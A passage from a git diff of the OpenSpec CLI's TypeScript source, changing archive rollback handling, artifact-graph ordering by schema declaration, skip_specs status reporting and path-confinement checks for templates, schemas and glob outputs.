path.relative(changeDir, proposed.update.source) + ); + if ( + (await fingerprintPortableContent(archivedSource)) !== + proposed.sourceContentFingerprint + ) { + throw new Error( + `The archived delta for '${proposed.update.id}' changed during the final move.` + ); + } + if (stagedSource) { + const stagedDelta = path.join( + stagedSource, + path.relative(changeDir, proposed.update.source) + ); + if ( + (await fingerprintPortableContent(stagedDelta)) !== + proposed.sourceContentFingerprint + ) { + throw new Error( + `The active delta for '${proposed.update.id}' changed during the fallback copy.` + ); + } + } + } + }; + await moveDirectory(changeDir, archivePath, { + verifyCopiedDestination: verifyArchivedDeltas, + }); + changeArchived = true; + await verifyArchivedDeltas(); + await finalizeRetirementBackups(specSnapshots, mainSpecsDir); + } catch (error) { + if (error instanceof MoveDestinationRetainedError) { + changeArchived = true; + try { + await finalizeRetirementBackups(specSnapshots, mainSpecsDir); + } catch (cleanupError) { + throw new RetirementBackupsRetainedError( + `${error.message} ${ + cleanupError instanceof Error ? cleanupError.message : String(cleanupError) + }` + ); + } + throw error; + } + if (error instanceof RetirementBackupsRetainedError) throw error; + const rollbackErrors: Error[] = []; + try { + await restoreSpecSnapshots( + specSnapshots.filter(({ target }) => mutationAttempts.has(target)) + ); + } catch (rollbackError) { + rollbackErrors.push( + rollbackError instanceof Error + ? rollbackError + : new Error(String(rollbackError)) + ); + } + if (changeArchived) { + try { + await moveDirectory(archivePath, changeDir); + changeArchived = false; + } catch (rollbackError) { + rollbackErrors.push( + rollbackError instanceof Error + ? rollbackError + : new Error(String(rollbackError)) + ); + } + } + if (rollbackErrors.length > 0) { + const original = error instanceof Error ? error.message : String(error); + throw new Error( + `${original} Rollback also failed: ${rollbackErrors.map(({ message }) => message).join(' ')}` + ); + } + throw error; + } } } } - // Create archive directory with date prefix - const archiveName = `${this.getArchiveDate()}-${changeName}`; - const archivePath = path.join(archiveDir, archiveName); + // The destination was checked before the merge, so anything claiming it now + // appeared while we were working. Report that as the collision it is: a raw + // ENOTEMPTY from rename would otherwise degrade to a bare `archive_error`. + if (!changeArchived) { + await assertArchiveDestinationAvailable(archivePath, archiveName); + archiveClaim = await claimArchiveDestination(archivePath, archiveName); + await assertArchiveDestinationAvailable(archivePath, archiveName); - // Check if archive already exists - try { - await fs.access(archivePath); - throw new Error(`Archive '${archiveName}' already exists.`); - } catch (error: any) { - if (error.code !== 'ENOENT') { - throw error; - } - } + // Create archive directory if needed + await fs.mkdir(archiveDir, { recursive: true }); - // Create archive directory if needed - await fs.mkdir(archiveDir, { recursive: true }); + // Move change to archive (uses copy+remove on EPERM/EXDEV, e.g. Windows) + await moveDirectory(changeDir, archivePath); + changeArchived = true; + } - // Move change to archive (uses copy+remove on EPERM/EXDEV, e.g. Windows) - await moveDirectory(changeDir, archivePath); + if (!json) { + console.log(`Change '${changeName}' archived as '${archiveName}'.`); + } - console.log(`Change '${changeName}' archived as '${archiveName}'.`); + return { + change: changeName, + archivedAs: archiveName, + path: archivePath, + specsUpdated, + ...(totals ? { totals } : {}), + ...(specWarnings.length > 0 ? { warnings: specWarnings } : {}), + }; + } finally { + if (archiveClaim) await releaseArchiveClaim(archiveClaim, claimPath).catch(() => undefined); + } } - private async selectChange(changesDir: string): Promise<string | null> { + private async selectChange( + changesDir: string, + root: ResolvedOpenSpecRoot, + options: ArchiveOptions + ): Promise<string | null> { const { select } = await import('@inquirer/prompts'); - // Get all directories in changes (excluding archive) - const entries = await fs.readdir(changesDir, { withFileTypes: true }); - const changeDirs = entries - .filter(entry => entry.isDirectory() && entry.name !== 'archive') - .map(entry => entry.name) - .sort(); + const changeDirs = await listActiveChangeNames(changesDir); if (changeDirs.length === 0) { console.log('No active changes found.'); @@ -306,7 +2016,7 @@ export class ArchiveCommand { try { const progressList: Array<{ id: string; status: string }> = []; for (const id of changeDirs) { - const progress = await getTaskProgressForChange(changesDir, id); + const progress = await getTaskProgressForChange(changesDir, id, path.resolve(changesDir, '..', '..')); const status = formatTaskStatus(progress); progressList.push({ id, status }); } @@ -327,13 +2037,21 @@ export class ArchiveCommand { }); return answer; } catch (error) { + // Nobody to pick from the list: reporting "No change selected" and + // exiting 0 told an agent the archive had succeeded when nothing + // happened (#1479). The suggested rerun carries --yes because the same + // caller cannot answer the confirmations further down either, and the + // caller's own flags because dropping --skip-specs here would suggest a + // rerun that merges the specs it was passed to leave alone. + if (isNonInteractivePromptError(error)) { + throw new ArchiveBlockedError( + 'archive_change_name_required', + 'A change name is required: no answer could be read from stdin.', + withStoreFlag(root, `openspec archive <change-name> ${rerunFlags(options).join(' ')}`) + ); + } // User cancelled (Ctrl+C) return null; } } - - private getArchiveDate(): string { - // Returns date in YYYY-MM-DD format - return new Date().toISOString().split('T')[0]; - } } diff --git a/src/core/artifact-graph/graph.ts b/src/core/artifact-graph/graph.ts index 3f960e602c..29a2297848 100644 --- a/src/core/artifact-graph/graph.ts +++ b/src/core/artifact-graph/graph.ts @@ -8,10 +8,33 @@ import { loadSchema, parseSchema } from './schema.js'; export class ArtifactGraph { private artifacts: Map<string, Artifact>; private schema: SchemaYaml; + /** Artifact id -> its position in the schema's `artifacts:` list. */ + private declarationOrder: Map<string, number>; private constructor(schema: SchemaYaml) { this.schema = schema; this.artifacts = new Map(schema.artifacts.map(a => [a.id, a])); + this.declarationOrder = new Map(schema.artifacts.map((a, index) => [a.id, index])); + } + + /** + * Orders artifact ids by where the schema declares them. + * + * The dependency graph leaves siblings tied - spec-driven's `specs` and + * `design` both require only `proposal`, so both become ready at the same + * time. Ties used to be broken alphabetically, which put `design` ahead of + * `specs` and made the CLI recommend the artifacts in an order that + * contradicted the schema's own documented sequence + * (proposal -> specs -> design -> tasks). Breaking ties by declaration order + * follows the sequence the schema author wrote, for built-in and custom + * schemas alike, and stays just as deterministic. Ids not in the schema sort + * last so the comparator stays total. + */ + private compareByDeclarationOrder(a: string, b: string): number { + return ( + (this.declarationOrder.get(a) ?? Number.MAX_SAFE_INTEGER) - + (this.declarationOrder.get(b) ?? Number.MAX_SAFE_INTEGER) + ); } /** @@ -86,10 +109,10 @@ export class ArtifactGraph { } } - // Start with roots (in-degree 0), sorted for determinism + // Start with roots (in-degree 0), in declaration order for determinism const queue = [...this.artifacts.keys()] .filter(id => inDegree.get(id) === 0) - .sort(); + .sort((a, b) => this.compareByDeclarationOrder(a, b)); const result: string[] = []; @@ -106,7 +129,10 @@ export class ArtifactGraph { newlyReady.push(dep); } } - queue.push(...newlyReady.sort()); + // Re-sort the whole queue, not just the new arrivals: an artifact that + // has been waiting can be declared after one that just became ready. + queue.push(...newlyReady); + queue.sort((a, b) => this.compareByDeclarationOrder(a, b)); } return result; @@ -129,8 +155,9 @@ export class ArtifactGraph { } } - // Sort for deterministic ordering - return ready.sort(); + // Declaration order: deterministic, and the first entry is the artifact the + // schema wants written next. + return ready.sort((a, b) => this.compareByDeclarationOrder(a, b)); } /** @@ -158,7 +185,7 @@ export class ArtifactGraph { const unmetDeps = artifact.requires.filter(req => !completed.has(req)); if (unmetDeps.length > 0) { - blocked[artifact.id] = unmetDeps.sort(); + blocked[artifact.id] = unmetDeps.sort((a, b) => this.compareByDeclarationOrder(a, b)); } } diff --git a/src/core/artifact-graph/index.ts b/src/core/artifact-graph/index.ts index 8ec732846a..2a2d346d00 100644 --- a/src/core/artifact-graph/index.ts +++ b/src/core/artifact-graph/index.ts @@ -16,7 +16,12 @@ export { ArtifactGraph } from './graph.js'; // State detection export { detectCompleted } from './state.js'; -export { artifactOutputExists, isGlobPattern, resolveArtifactOutputs } from './outputs.js'; +export { + artifactOutputExists, + isGlobPattern, + resolveArtifactOutputPath, + resolveArtifactOutputs, +} from './outputs.js'; // Schema resolution export { @@ -38,8 +43,14 @@ export { formatChangeStatus, TemplateLoadError, type ChangeContext, + type LoadChangeContextOptions, type ArtifactInstructions, type DependencyInfo, type ArtifactStatus, type ChangeStatus, + type ArtifactPathSummary, } from './instruction-loader.js'; +export type { + PlanningHomeSummary, + ActionContext, +} from '../change-status-policy.js'; diff --git a/src/core/artifact-graph/instruction-loader.ts b/src/core/artifact-graph/instruction-loader.ts index b8b2675bb9..3f12670016 100644 --- a/src/core/artifact-graph/instruction-loader.ts +++ b/src/core/artifact-graph/instruction-loader.ts @@ -1,11 +1,22 @@ import * as fs from 'node:fs'; import * as path from 'node:path'; -import { getSchemaDir, resolveSchema } from './resolver.js'; +import { getSchemaDir, resolveSchema, listSchemasWithInfo } from './resolver.js'; import { ArtifactGraph } from './graph.js'; import { detectCompleted } from './state.js'; -import { resolveSchemaForChange } from '../../utils/change-metadata.js'; +import { resolveArtifactOutputPath, resolveArtifactOutputs } from './outputs.js'; +import { readChangeMetadata, resolveSchemaForChange } from '../../utils/change-metadata.js'; import { FileSystemUtils } from '../../utils/file-system.js'; -import { readProjectConfig, validateConfigRules } from '../project-config.js'; +import { + buildActionContext, + buildNextSteps, + summarizePlanningHome, + type ActionContext, + type PlanningHomeSummary, +} from '../change-status-policy.js'; +import { readProjectConfig, validateConfigRules, type ProjectConfig } from '../project-config.js'; +import type { ReferenceIndexEntry } from '../references.js'; +import type { PlanningHome } from '../planning-home.js'; +import type { ChangeMetadata } from '../change-metadata/index.js'; import type { Artifact, CompletedSet } from './types.js'; // Session-level cache for validation warnings (avoid repeating same warnings) @@ -40,6 +51,23 @@ export interface ChangeContext { changeDir: string; /** Project root directory */ projectRoot: string; + /** Resolved planning home for this change */ + planningHome?: PlanningHome; + /** Parsed change metadata, when present */ + metadata?: ChangeMetadata; + /** + * Artifact IDs counted as complete only because the change declares + * skip_specs, not because their files exist. Kept separate so status can + * render them as skipped rather than done. + */ + skippedArtifacts?: Set<string>; +} + +export interface LoadChangeContextOptions { + changeDir?: string; + planningHome?: PlanningHome; + /** Pre-read project config; suppresses schema resolution's fallback config read. */ + projectConfig?: ProjectConfig | null; } /** @@ -54,8 +82,14 @@ export interface ArtifactInstructions { schemaName: string; /** Full path to change directory */ changeDir: string; + /** Resolved planning home for this change */ + planningHome?: PlanningHomeSummary; /** Output path pattern (e.g., "proposal.md") */ outputPath: string; + /** Absolute output path or glob pattern resolved under the change directory */ + resolvedOutputPath: string; + /** Existing concrete output files for this artifact */ + existingOutputPaths: string[]; /** Artifact description */ description: string; /** Guidance on how to create this artifact (from schema instruction field) */ @@ -64,14 +98,29 @@ export interface ArtifactInstructions { context: string | undefined; /** Artifact-specific rules from config (constraints for AI, not to be included in output) */ rules: string[] | undefined; + /** Referenced-store index (read-only upstream context; omitted when no references are declared) */ + references?: ReferenceIndexEntry[]; /** Template content (structure to follow - this IS the output format) */ template: string; /** Dependencies with completion status and paths */ dependencies: DependencyInfo[]; /** Artifacts that become available after completing this one */ unlocks: string[]; + /** True when the change declares skip_specs and this artifact is skipped */ + skipped?: boolean; + /** Present only when skipped: tells the consumer not to create the artifact */ + warning?: string; } +/** + * Warning attached to instructions for an artifact skipped via skip_specs. + * Carried in the JSON payload too, so agents driving the CLI with --json see + * the same do-not-create signal as the text output. + */ +export const SKIP_SPECS_INSTRUCTIONS_WARNING = + 'This change declares skip_specs: true in .openspec.yaml (no spec-level behavior changes), so this artifact is skipped.\n' + + 'Do not create spec files - they will conflict with that marker. If requirements now change, remove skip_specs from .openspec.yaml and rerun this command.'; + /** * Dependency information including path and description. */ @@ -84,6 +133,8 @@ export interface DependencyInfo { path: string; /** Description of the dependency artifact */ description: string; + /** True when the dependency is satisfied via skip_specs - no files exist to read */ + skipped?: boolean; } /** @@ -94,8 +145,13 @@ export interface ArtifactStatus { id: string; /** Output path pattern */ outputPath: string; - /** Status: done, ready, or blocked */ - status: 'done' | 'ready' | 'blocked'; + /** Status: done, skipped (via skip_specs), ready, or blocked */ + status: 'done' | 'skipped' | 'ready' | 'blocked'; + /** Artifact IDs this artifact directly requires (its `requires` edges). + * Present for every status so callers can compute the transitive required + * set even when the artifact is already `done` (file-existence status does + * not imply its dependencies exist). */ + requires: string[]; /** Missing dependencies (only for blocked) */ missingDeps?: string[]; } @@ -108,7 +164,20 @@ export interface ChangeStatus { changeName: string; /** Schema name */ schemaName: string; - /** Whether all artifacts are complete */ + /** Planning home facts (generated skills derive the archive dir + * from planningHome.changesDir - a published agent contract). */ + planningHome?: PlanningHomeSummary; + /** Full path to the change root */ + changeRoot: string; + /** Absolute artifact path details keyed by artifact ID */ + artifactPaths: Record<string, ArtifactPathSummary>; + /** Plain-language next steps for users and agents */ + nextSteps: string[]; + /** Machine-readable action constraints for agents */ + actionContext: ActionContext; + /** Whether all planning artifacts are complete */ + isPlanningComplete: boolean; + /** Compatibility alias for isPlanningComplete */ isComplete: boolean; /** Artifact IDs required before apply phase (from schema's apply.requires) */ applyRequires: string[]; @@ -116,6 +185,12 @@ export interface ChangeStatus { artifacts: ArtifactStatus[]; } +export interface ArtifactPathSummary { + outputPath: string; + resolvedOutputPath: string; + existingOutputPaths: string[]; +} + /** * Loads a template from a schema's templates directory. * @@ -138,7 +213,17 @@ export function loadTemplate( ); } - const templatePathOnDisk = path.join(schemaDir, 'templates', templatePath); + const templatesDir = path.join(schemaDir, 'templates'); + const templatePathOnDisk = path.join(templatesDir, templatePath); + + try { + FileSystemUtils.assertPathWithin(templatesDir, templatePathOnDisk); + } catch (error) { + throw new TemplateLoadError( + error instanceof Error ? error.message : String(error), + templatePathOnDisk + ); + } if (!fs.existsSync(templatePathOnDisk)) { throw new TemplateLoadError( @@ -176,19 +261,42 @@ export function loadTemplate( export function loadChangeContext( projectRoot: string, changeName: string, - schemaName?: string + schemaName?: string, + options: LoadChangeContextOptions = {} ): ChangeContext { const changeDir = FileSystemUtils.canonicalizeExistingPath( - path.join(projectRoot, 'openspec', 'changes', changeName) + options.changeDir ?? path.join(projectRoot, 'openspec', 'changes', changeName) ); - // Resolve schema: explicit > metadata > default - const resolvedSchemaName = resolveSchemaForChange(changeDir, schemaName); + const metadata = readChangeMetadata(changeDir, projectRoot) ?? undefined; + const resolvedSchemaName = resolveSchemaForChange(changeDir, schemaName, projectRoot, { + metadata: metadata ?? null, + projectConfig: options.projectConfig, + }); const schema = resolveSchema(resolvedSchemaName, projectRoot); const graph = ArtifactGraph.fromSchema(schema); const completed = detectCompleted(graph, changeDir); + // A change that declares skip_specs has no spec deltas by design, so + // artifacts generating into specs/ count as complete; otherwise the graph + // would block their dependents (e.g. tasks) on files that must not exist. + // Tracked separately so status renders them as skipped, not done. + const skippedArtifacts = new Set<string>(); + if (metadata?.skip_specs) { + for (const artifact of graph.getAllArtifacts()) { + // A schema may write generates as './specs/...' - the globs treat that + // identically to 'specs/...', so the skip set must too, or validate + // would honor the marker while instructions tell the agent to create + // the very files the conflict gate polices. + const generates = artifact.generates.replace(/^(?:\.\/)+/, ''); + if (generates.startsWith('specs/') && !completed.has(artifact.id)) { + completed.add(artifact.id); + skippedArtifacts.add(artifact.id); + } + } + } + return { graph, completed, @@ -196,6 +304,9 @@ export function loadChangeContext( changeName, changeDir, projectRoot, + ...(options.planningHome ? { planningHome: options.planningHome } : {}), + ...(metadata ? { metadata } : {}), + ...(skippedArtifacts.size > 0 ? { skippedArtifacts } : {}), }; } @@ -213,10 +324,18 @@ export function loadChangeContext( * @returns Enriched artifact instructions * @throws Error if artifact not found */ +export interface GenerateInstructionsOptions { + /** Pre-read project config; suppresses the internal read (no double read). */ + projectConfig?: ProjectConfig | null; + /** Referenced-store index assembled at the command boundary. */ + references?: ReferenceIndexEntry[]; +} + export function generateInstructions( context: ChangeContext, artifactId: string, - projectRoot?: string + projectRoot?: string, + options: GenerateInstructionsOptions = {} ): ArtifactInstructions { const artifact = context.graph.getArtifact(artifactId); if (!artifact) { @@ -224,15 +343,15 @@ export function generateInstructions( } const templateContent = loadTemplate(context.schemaName, artifact.template, context.projectRoot); - const dependencies = getDependencyInfo(artifact, context.graph, context.completed); + const dependencies = getDependencyInfo(artifact, context.graph, context.completed, context.skippedArtifacts); const unlocks = getUnlockedArtifacts(context.graph, artifactId); // Use projectRoot from context if not explicitly provided const effectiveProjectRoot = projectRoot ?? context.projectRoot; - // Try to read project config for context and rules - let projectConfig = null; - if (effectiveProjectRoot) { + // Use the pre-read config when provided; otherwise read it here. + let projectConfig = options.projectConfig ?? null; + if (options.projectConfig === undefined && effectiveProjectRoot) { try { projectConfig = readProjectConfig(effectiveProjectRoot); } catch { @@ -240,14 +359,14 @@ export function generateInstructions( } } - // Validate rules artifact IDs if config has rules (only once per session) + // Validate rules artifact IDs if config has rules (only once per session). + // The rules map is global while each change can use a different schema, so a + // key is only "unknown" when it matches no artifact in ANY available schema. if (projectConfig?.rules) { - const validArtifactIds = new Set(context.graph.getAllArtifacts().map((a) => a.id)); - const warnings = validateConfigRules( - projectConfig.rules, - validArtifactIds, - context.schemaName + const validArtifactIds = new Set( + listSchemasWithInfo(effectiveProjectRoot ?? undefined).flatMap((s) => s.artifacts) ); + const warnings = validateConfigRules(projectConfig.rules, validArtifactIds); // Show each unique warning only once per session for (const warning of warnings) { @@ -260,7 +379,10 @@ export function generateInstructions( // Extract context and rules as separate fields (not prepended to template) const configContext = projectConfig?.context?.trim() || undefined; - const rulesForArtifact = projectConfig?.rules?.[artifactId]; + const rulesForArtifact = + projectConfig?.rules && Object.hasOwn(projectConfig.rules, artifactId) + ? projectConfig.rules[artifactId] + : undefined; const configRules = rulesForArtifact && rulesForArtifact.length > 0 ? rulesForArtifact : undefined; return { @@ -268,11 +390,18 @@ export function generateInstructions( artifactId: artifact.id, schemaName: context.schemaName, changeDir: context.changeDir, + planningHome: summarizePlanningHome(context.planningHome), outputPath: artifact.generates, + resolvedOutputPath: resolveArtifactOutputPath(context.changeDir, artifact.generates), + existingOutputPaths: resolveArtifactOutputs(context.changeDir, artifact.generates), description: artifact.description, instruction: artifact.instruction, context: configContext, rules: configRules, + ...(options.references !== undefined ? { references: options.references } : {}), + ...(context.skippedArtifacts?.has(artifact.id) + ? { skipped: true, warning: SKIP_SPECS_INSTRUCTIONS_WARNING } + : {}), template: templateContent, dependencies, unlocks, @@ -285,7 +414,8 @@ export function generateInstructions( function getDependencyInfo( artifact: Artifact, graph: ArtifactGraph, - completed: CompletedSet + completed: CompletedSet, + skippedArtifacts?: Set<string> ): DependencyInfo[] { return artifact.requires.map(id => { const depArtifact = graph.getArtifact(id); @@ -294,12 +424,17 @@ function getDependencyInfo( done: completed.has(id), path: depArtifact?.generates ?? id, description: depArtifact?.description ?? '', + ...(skippedArtifacts?.has(id) ? { skipped: true } : {}), }; }); } /** * Gets artifacts that become available after completing the given artifact. + * + * `getAllArtifacts()` already yields the schema's declaration order, so the list + * is returned as collected: sorting it alphabetically would have `unlocks` name + * the artifacts in a different order than `status` recommends them. */ function getUnlockedArtifacts(graph: ArtifactGraph, artifactId: string): string[] { const unlocks: string[] = []; @@ -310,7 +445,7 @@ function getUnlockedArtifacts(graph: ArtifactGraph, artifactId: string): string[ } } - return unlocks.sort(); + return unlocks; } /** @@ -319,7 +454,10 @@ function getUnlockedArtifacts(graph: ArtifactGraph, artifactId: string): string[ * @param context - Change context * @returns Formatted change status */ -export function formatChangeStatus(context: ChangeContext): ChangeStatus { +export function formatChangeStatus( + context: ChangeContext, + options: { storeId?: string } = {} +): ChangeStatus { // Load schema to get apply phase configuration const schema = resolveSchema(context.schemaName, context.projectRoot); const applyRequires = schema.apply?.requires ?? schema.artifacts.map(a => a.id); @@ -328,12 +466,29 @@ export function formatChangeStatus(context: ChangeContext): ChangeStatus { const ready = new Set(context.graph.getNextArtifacts(context.completed)); const blocked = context.graph.getBlocked(context.completed); + const artifactPaths: Record<string, ArtifactPathSummary> = {}; const artifactStatuses: ArtifactStatus[] = artifacts.map(artifact => { + artifactPaths[artifact.id] = { + outputPath: artifact.generates, + resolvedOutputPath: resolveArtifactOutputPath(context.changeDir, artifact.generates), + existingOutputPaths: resolveArtifactOutputs(context.changeDir, artifact.generates), + }; + + if (context.skippedArtifacts?.has(artifact.id)) { + return { + id: artifact.id, + outputPath: artifact.generates, + status: 'skipped' as const, + requires: artifact.requires, + }; + } + if (context.completed.has(artifact.id)) { return { id: artifact.id, outputPath: artifact.generates, status: 'done' as const, + requires: artifact.requires, }; } @@ -342,6 +497,7 @@ export function formatChangeStatus(context: ChangeContext): ChangeStatus { id: artifact.id, outputPath: artifact.generates, status: 'ready' as const, + requires: artifact.requires, }; } @@ -349,6 +505,7 @@ export function formatChangeStatus(context: ChangeContext): ChangeStatus { id: artifact.id, outputPath: artifact.generates, status: 'blocked' as const, + requires: artifact.requires, missingDeps: blocked[artifact.id] ?? [], }; }); @@ -357,12 +514,28 @@ export function formatChangeStatus(context: ChangeContext): ChangeStatus { const buildOrder = context.graph.getBuildOrder(); const orderMap = new Map(buildOrder.map((id, idx) => [id, idx])); artifactStatuses.sort((a, b) => (orderMap.get(a.id) ?? 0) - (orderMap.get(b.id) ?? 0)); + const isComplete = context.graph.isComplete(context.completed); + const artifactIds = artifactStatuses.map((artifact) => artifact.id); return { changeName: context.changeName, schemaName: context.schemaName, - isComplete: context.graph.isComplete(context.completed), + planningHome: summarizePlanningHome(context.planningHome), + changeRoot: context.changeDir, + artifactPaths, + isPlanningComplete: isComplete, + isComplete, applyRequires, + nextSteps: buildNextSteps({ + changeName: context.changeName, + artifactStatuses, + allArtifactsComplete: isComplete, + ...(options.storeId ? { storeId: options.storeId } : {}), + }), + actionContext: buildActionContext({ + projectRoot: context.projectRoot, + artifactIds, + }), artifacts: artifactStatuses, }; } diff --git a/src/core/artifact-graph/outputs.ts b/src/core/artifact-graph/outputs.ts index 9467552f2c..51f1b71f23 100644 --- a/src/core/artifact-graph/outputs.ts +++ b/src/core/artifact-graph/outputs.ts @@ -10,16 +10,89 @@ export function isGlobPattern(pattern: string): boolean { return pattern.includes('*') || pattern.includes('?') || pattern.includes('['); } +export function resolveArtifactOutputPath(changeDir: string, generates: string): string { + const outputPath = path.join(changeDir, generates); + FileSystemUtils.assertPathWithin(changeDir, outputPath); + return outputPath; +} + +function assertGlobDirectoryTraversal( + changeDir: string, + currentDir: string, + directorySegments: string[], + segmentIndex = 0, + visited = new Set<string>(), + canonicalChangeDir = FileSystemUtils.canonicalizeExistingPath(changeDir), + ancestors = new Set<string>() +): void { + if (segmentIndex >= directorySegments.length) return; + const canonicalDir = FileSystemUtils.canonicalizeExistingPath(currentDir); + FileSystemUtils.assertPathWithin(canonicalChangeDir, canonicalDir); + const visitKey = `${canonicalDir}\0${segmentIndex}`; + if (ancestors.has(visitKey)) { + throw new Error(`Cannot resolve artifact outputs through a linked directory cycle: ${currentDir}`); + } + if (visited.has(visitKey)) return; + visited.add(visitKey); + ancestors.add(visitKey); + + try { + const segment = directorySegments[segmentIndex]; + if (segment === '**') { + // `**` may consume no directory at all. + assertGlobDirectoryTraversal( + changeDir, + canonicalDir, + directorySegments, + segmentIndex + 1, + visited, + canonicalChangeDir, + ancestors + ); + } + + const matches = fg.sync(segment === '**' ? '*' : segment, { + cwd: canonicalDir, + onlyFiles: false, + followSymbolicLinks: false, + deep: 1, + }); + for (const match of matches) { + const candidate = path.join(canonicalDir, match); + try { + if (!fs.statSync(candidate).isDirectory()) continue; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') continue; + throw error; + } + const canonicalCandidate = FileSystemUtils.canonicalizeExistingPath(candidate); + FileSystemUtils.assertPathWithin(canonicalChangeDir, canonicalCandidate); + assertGlobDirectoryTraversal( + changeDir, + canonicalCandidate, + directorySegments, + segment === '**' ? segmentIndex : segmentIndex + 1, + visited, + canonicalChangeDir, + ancestors + ); + } + } finally { + ancestors.delete(visitKey); + } +} + /** * Resolves an artifact's output path(s) to concrete files that currently exist. * Returns absolute file paths. Glob matches are sorted for deterministic output. */ export function resolveArtifactOutputs(changeDir: string, generates: string): string[] { + const outputPath = resolveArtifactOutputPath(changeDir, generates); + if (!isGlobPattern(generates)) { - const fullPath = path.join(changeDir, generates); try { - return fs.statSync(fullPath).isFile() - ? [FileSystemUtils.canonicalizeExistingPath(fullPath)] + return fs.statSync(outputPath).isFile() + ? [FileSystemUtils.canonicalizeExistingPath(outputPath)] : []; } catch { return []; @@ -27,9 +100,25 @@ export function resolveArtifactOutputs(changeDir: string, generates: string): st } const normalizedPattern = FileSystemUtils.toPosixPath(generates); + assertGlobDirectoryTraversal( + changeDir, + changeDir, + normalizedPattern.split('/').slice(0, -1) + ); const matches = fg - .sync(normalizedPattern, { cwd: changeDir, onlyFiles: true, absolute: true }) - .map((match) => FileSystemUtils.canonicalizeExistingPath(path.normalize(match))); + .sync(normalizedPattern, { + cwd: changeDir, + onlyFiles: true, + absolute: true, + // Preserve existing support for linked artifact directories. Every + // concrete match is canonically confined below before it is returned. + followSymbolicLinks: true, + }) + .map((match) => { + const normalizedMatch = path.normalize(match); + FileSystemUtils.assertPathWithin(changeDir, normalizedMatch); + return FileSystemUtils.canonicalizeExistingPath(normalizedMatch); + }); return Array.from(new Set(matches)).sort(); } diff --git a/src/core/artifact-graph/resolver.ts b/src/core/artifact-graph/resolver.ts index 9ccd48abaf..3c9ec80e71 100644 --- a/src/core/artifact-graph/resolver.ts +++ b/src/core/artifact-graph/resolver.ts @@ -2,6 +2,7 @@ import * as fs from 'node:fs'; import * as path from 'node:path'; import { fileURLToPath } from 'node:url'; import { getGlobalDataDir } from '../global-config.js'; +import { FileSystemUtils } from '../../utils/file-system.js'; import { parseSchema, SchemaValidationError } from './schema.js'; import type { SchemaYaml } from './types.js'; @@ -45,6 +46,54 @@ export function getProjectSchemasDir(projectRoot: string): string { return path.join(projectRoot, 'openspec', 'schemas'); } +/** + * Determines whether a directory entry represents a schema directory candidate. + * + * Returns true for real directories and for symlinks whose target is a + * directory. `fs.Dirent.isDirectory()` reports the raw entry type, so a symlink + * (even one pointing at a directory) has `isDirectory() === false`; we + * dereference such entries via `fs.statSync` to admit symlinked schema dirs + * while still rejecting symlinks-to-files and broken/dangling symlinks. + * + * @param parentDir - The directory containing the entry + * @param entry - The directory entry from `fs.readdirSync(..., { withFileTypes: true })` + */ +export function isSchemaDir(parentDir: string, entry: fs.Dirent): boolean { + if (entry.isDirectory()) { + return true; + } + if (entry.isSymbolicLink()) { + try { + // statSync follows the link; isDirectory() reflects the target type. + return fs.statSync(path.join(parentDir, entry.name)).isDirectory(); + } catch { + // Broken symlink (dangling target) — statSync throws; treat as non-dir. + return false; + } + } + return false; +} + +/** + * Returns a schema directory only when its schema file stays within that + * directory's canonical trust boundary. The directory itself may be a symlink; + * external user schema links are an intentionally supported workflow. + */ +function getSchemaCandidateDir(schemasDir: string, name: string): string | null { + const schemaDir = path.join(schemasDir, name); + const schemaPath = path.join(schemaDir, 'schema.yaml'); + if (!fs.existsSync(schemaPath)) { + return null; + } + + try { + FileSystemUtils.assertPathWithin(schemaDir, schemaPath); + return schemaDir; + } catch { + return null; + } +} + /** * Resolves a schema name to its directory path. * @@ -64,26 +113,35 @@ export function getSchemaDir( name: string, projectRoot?: string ): string | null { + if ( + name.length === 0 || + name === '.' || + name === '..' || + /[\\/]/u.test(name) || + /^[A-Za-z]:/u.test(name) || + path.posix.isAbsolute(name) || + path.win32.isAbsolute(name) + ) { + return null; + } + // 1. Check project-local directory (if projectRoot provided) if (projectRoot) { - const projectDir = path.join(getProjectSchemasDir(projectRoot), name); - const projectSchemaPath = path.join(projectDir, 'schema.yaml'); - if (fs.existsSync(projectSchemaPath)) { + const projectDir = getSchemaCandidateDir(getProjectSchemasDir(projectRoot), name); + if (projectDir) { return projectDir; } } // 2. Check user override directory - const userDir = path.join(getUserSchemasDir(), name); - const userSchemaPath = path.join(userDir, 'schema.yaml'); - if (fs.existsSync(userSchemaPath)) { + const userDir = getSchemaCandidateDir(getUserSchemasDir(), name); + if (userDir) { return userDir; } // 3. Check package built-in directory - const packageDir = path.join(getPackageSchemasDir(), name); - const packageSchemaPath = path.join(packageDir, 'schema.yaml'); - if (fs.existsSync(packageSchemaPath)) { + const packageDir = getSchemaCandidateDir(getPackageSchemasDir(), name); + if (packageDir) { return packageDir; } @@ -165,7 +223,7 @@ export function listSchemas(projectRoot?: string): string[] { const packageDir = getPackageSchemasDir(); if (fs.existsSync(packageDir)) { for (const entry of fs.readdirSync(packageDir, { withFileTypes: true })) { - if (entry.isDirectory()) { + if (isSchemaDir(packageDir, entry)) { const schemaPath = path.join(packageDir, entry.name, 'schema.yaml'); if (fs.existsSync(schemaPath)) { schemas.add(entry.name); @@ -178,7 +236,7 @@ export function listSchemas(projectRoot?: string): string[] { const userDir = getUserSchemasDir(); if (fs.existsSync(userDir)) { for (const entry of fs.readdirSync(userDir, { withFileTypes: true })) { - if (entry.isDirectory()) { + if (isSchemaDir(userDir, entry)) { const schemaPath = path.join(userDir, entry.name, 'schema.yaml'); if (fs.existsSync(schemaPath)) { schemas.add(entry.name); @@ -192,7 +250,7 @@ export function listSchemas(projectRoot?: string): string[] { const projectDir = getProjectSchemasDir(projectRoot); if (fs.existsSync(projectDir)) { for (const entry of fs.readdirSync(projectDir, { withFileTypes: true })) { - if (entry.isDirectory()) { + if (isSchemaDir(projectDir, entry)) { const schemaPath = path.join(projectDir, entry.name, 'schema.yaml'); if (fs.existsSync(schemaPath)) { schemas.add(entry.name); @@ -230,7 +288,7 @@ export function listSchemasWithInfo(projectRoot?: string): SchemaInfo[] { const projectDir = getProjectSchemasDir(projectRoot); if (fs.existsSync(projectDir)) { for (const entry of fs.readdirSync(projectDir, { withFileTypes: true })) { - if (entry.isDirectory()) { + if (isSchemaDir(projectDir, entry)) { const schemaPath = path.join(projectDir, entry.name, 'schema.yaml'); if (fs.existsSync(schemaPath)) { try { @@ -255,7 +313,7 @@ export function listSchemasWithInfo(projectRoot?: string): SchemaInfo[] { const userDir = getUserSchemasDir(); if (fs.existsSync(userDir)) { for (const entry of fs.readdirSync(userDir, { withFileTypes: true 